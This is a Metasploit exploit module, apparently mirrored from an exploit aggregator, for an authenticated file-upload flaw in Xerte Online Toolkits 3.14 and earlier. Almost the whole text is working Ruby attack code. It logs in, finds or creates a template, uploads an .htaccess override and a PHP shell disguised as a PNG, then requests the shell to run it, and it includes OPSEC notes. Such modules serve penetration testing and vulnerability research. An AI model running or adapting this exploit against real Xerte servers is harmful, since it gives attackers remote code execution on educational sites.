Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-MULTI-HTTP-XERTE_AUTHENTICATED_RCE_UPLOADIMAGE-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Xerte Online Toolkits Arbitrary File Upload - Upload Image',
        'Description' => %q{
          This module exploits the user template file import function's unrestricted
          file upload in versions 3.14 and earlier to upload and execute a shell.
          This targets editor/uploadImage.php.
          This has only been tested in implementations where the authentication type is "Db".

          OPSEC
          - if the user is logged in elsewhere, they may experience interruptions
          - several requests sent to the server and activity is logged
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Brandon Lester'
        ],
        'References' => [
          ['URL', 'https://blog.haicen.me/posts/xerte-online-toolkits/'],
          ['URL', 'https://www.xerte.org.uk/index.php/en/news/blog/80-news/357-xerte-3-13-en-3-14-important-security-update-now-available']
        ],
        'Privileged' => false,
        'Targets' => [
          [
            'PHP', {
              'Platform' => 'php',
              'Arch' => ARCH_PHP
            }
          ]
        ],
        'DisclosureDate' => '2025-08-04',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => [REPEATABLE_SESSION],
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )
    register_options(
      [
        OptString.new('TARGETURI', [true, 'The path of a xerte installation', '/xerteonlinetoolkits']),
        OptString.new('USERNAME', [ true, 'The username to authenticate as', 'admin' ]),
        OptString.new('PASSWORD', [ true, 'The password for the specified username', 'admin' ])
      ]
    )
  end

  def login
    print_status('Attempting to authenticate...')
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, '/'),
      'method' => 'POST',
      'vars_post' => {
        'login' => datastore['USERNAME'],
        'password' => datastore['PASSWORD']
      },
      'keep_cookies' => true
    )

    unless (res&.code == 200 || (res&.code == 302 && res.headers['Location'] == 'management.php')) && res.get_cookies.include?('PHPSESSID')
      fail_with(Failure::NoAccess, 'Failed to authenticate with the target.')
    end
    print_good('Authentication successful.')
  end

  def check
    print_status('Performing check')
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'website_code', 'php', 'language', 'import_language.php')
    })
    if res&.code == 200
      if res.body.include?('No valid language definition found in the file!')
        return Exploit::CheckCode::Vulnerable('Successfully verified authenticated file upload RCE vulnerability')
      else
        return Exploit::CheckCode::Safe('The target is not vulnerable')
      end
    end
    return Exploit::CheckCode::Safe('The target is not vulnerable')
  end

  def trigger_payload
    print_good("Triggering shell at #{@web_path}")
    # using for loop with the range
    shell_uri = @web_path.gsub(/.*#{target_uri.path}/, '') # gsub(/\.*${target_uri.path()}\/, "")
    send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, shell_uri, 'media', php_filename)
    })
  end

  def upload_payload(my_payload, filename)
    # construct the payload and upload
    mime = Rex::MIME::Message.new
    mime.add_part(my_payload, 'image/png', nil,
                  %(form-data; name="upload"; filename=#{filename}))

    # web path will contain the full address, like `http://127.0.0.1:8180/xerteonlinetoolkits/USER-FILES/3-reguser-Nottingham/` so trim it
    mime.add_part(@media_path.gsub(%r{media/$}, ''), nil, nil, 'form-data; name="uploadPath"')
    mime.add_part(@web_path.gsub(%r{media/$}, ''), nil, nil, 'form-data; name="uploadURL"')

    # mediapath should be something like `/var/www/html/xerteonlinetoolkits/USER-FILES/3-reguser-Nottingham/`
    register_file_for_cleanup("#{@media_path}#{php_filename}")
    register_file_for_cleanup("#{@media_path}.htaccess")

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/editor/uploadImage.php'),
      'headers' => { 'Content-Type' => "multipart/form-data; boundary=#{mime.bound}" },
      'data' => mime.to_s
    )
    if res && res.code.to_i == 200 && res.body.include?('Something went wrong while trying to uplod file!')
      fail_with(Failure::UnexpectedReply, 'payload was not uploaded.')
    end
  end

  def delete_lockfile(template_id)
    # The previous step made a get request to the template, effectively locking it.
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'edithtml.php'),
      'vars_get' => {
        'template_id' => template_id.to_s
      },
      'vars_post' => {
        'lockfile_clear' => 'delete_lockfile'
      }

    })
    html = res.get_html_document
    vprint_status("Deleted lockfile for #{template_id}")
    variable_block = html.at('[text()*="mediavariable="]').text
    parse_template(variable_block)
  end

  def parse_template(template)
    # extract important variables from the template
    vprint_status('Parsing template')
    template.each_line do |line|
      if line && line.include?('mediavariable=')
        @media_path = line.split('"')[1]
      elsif line && line.include?('rlourlvariable')
        @web_path = line.split('"')[1]
      elsif line && line.include?('template_id')
        @template_id = line.split('"')[1]
      elsif line && line.include?('path = "')
        line = line.strip
        @template_path = line.split('"')[1]
      end
    end
    vprint_status("Found media: #{@media_path}") unless @media_path.blank?
    vprint_status("Found web path: #{@web_path}") unless @web_path.blank?
    vprint_status("Found template: #{@template_id}") unless @template_id.blank?
  end

  def find_valid_template
    # Iterates template ID's 1-20 to see if any exist and if the user has access.
    found_template = false
    for template_id in 1..20 do
      vprint_line("Checking template ID #{template_id}")
      res = send_request_cgi({ # this causes the template to become locked
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path, '/edithtml.php'),
        'vars_get' => {
          'template_id' => template_id.to_s
        }
      })
      if res&.code == 200
        if res.body.to_s.include?('This project is currently locked as it is already being edited by you!')
          delete_lockfile(template_id)
          found_template = true
          print_status("Found mediavariable at #{template_id}")
          break
        elsif res.body.to_s.include?('Invalid template_id (could not find in DB)')
          vprint_line("Template #{template_id} doesn't exist")
        elsif res.body.to_s.include?('Permission denied')
          vprint_line("Template #{template_id} belongs to someone else")
        else
          vprint_line("Template ID #{template_id} is not locked")
          delete_lockfile(template_id)
          found_template = true
          print_status("Found mediavariable at #{template_id}")
          break
        end
      else
        print_bad("Error with template #{template_id}")
      end
    end

    unless found_template
      # If no projects are found, create one
      res = send_request_cgi({
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, 'website_code', 'php', 'templates', 'new_template.php'),
        'vars_post' => {
          'tutorialid' => 'Nottingham',
          'templatename' => 'Nottingham',
          'tutorialname' => Rex::Text.rand_text_alpha(8),
          'folder_id' => ''
        }
      })

      if res&.code == 200 && !res.body.to_s.include?('FAILED-Failed to create new template record')
        # Ensure the project was created
        template_id = res.body.to_s.split(',')[0]
        print_status("Created template (id: #{template_id})")
        delete_lockfile(template_id)
        found_template = true
      end
    end
    # If for some reason, the previous project creation failed, it's probably best to create one manually.
    fail_with(Failure::NotFound, 'User has no project templates, try logging in and creating one. Also, check whether more than 20 projects are already created.') unless found_template
  end

  def exploit
    login
    find_valid_template
    # this exploit won't work unless a .htaccess file is also uploaded
    upload_payload(htaccess_payload, '.htaccess')
    upload_payload(payload.encoded, php_filename)
    print_status('Uploaded the PHP Payload file')
    trigger_payload
  end

  def php_filename
    @php_filename ||= Rex::Text.rand_text_alpha(8) + '.php'
  end

  def htaccess_payload
    <<~PAYLOAD
      <IfModule mod_rewrite.c>
          RewriteEngine Off
      </IfModule>
    PAYLOAD
  end
end